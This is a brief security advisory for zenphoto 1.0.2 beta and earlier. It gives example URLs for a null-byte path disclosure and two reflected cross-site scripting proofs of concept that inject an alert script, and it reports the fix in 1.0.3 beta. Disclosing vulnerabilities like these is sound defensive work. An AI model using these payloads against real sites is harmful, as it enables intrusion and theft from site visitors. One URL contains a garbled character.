Vendor: zenphoto
Vulnerable: zenphoto 1.0.2 beta and below

The vendor has been warned and the vulnerabilities have been addressed in 1.0.3 beta.

Path Disclosure
---------------
http://www.example.com/photos/zen/i.php?a=EXISTING_ALBUM_NAME&i=EXISTING_IMAGE_NAME&s=thumb%00

which returns:

Warning: imagecreatetruecolor() [function.imagecreatetruecolor]: Invalid image dimensions in /path/photos/zen/i.php on line 85...

Cross Site Scripting
--------------------
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAME%00%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E
http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAMEℑ=EXISTING_IMAGE_NAME%00%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3Eaaaa

Solution
--------
Update to 1.0.3 beta

Original advisory
-----------------
http://zone14.free.fr/advisories/4/

--Raphael HUCK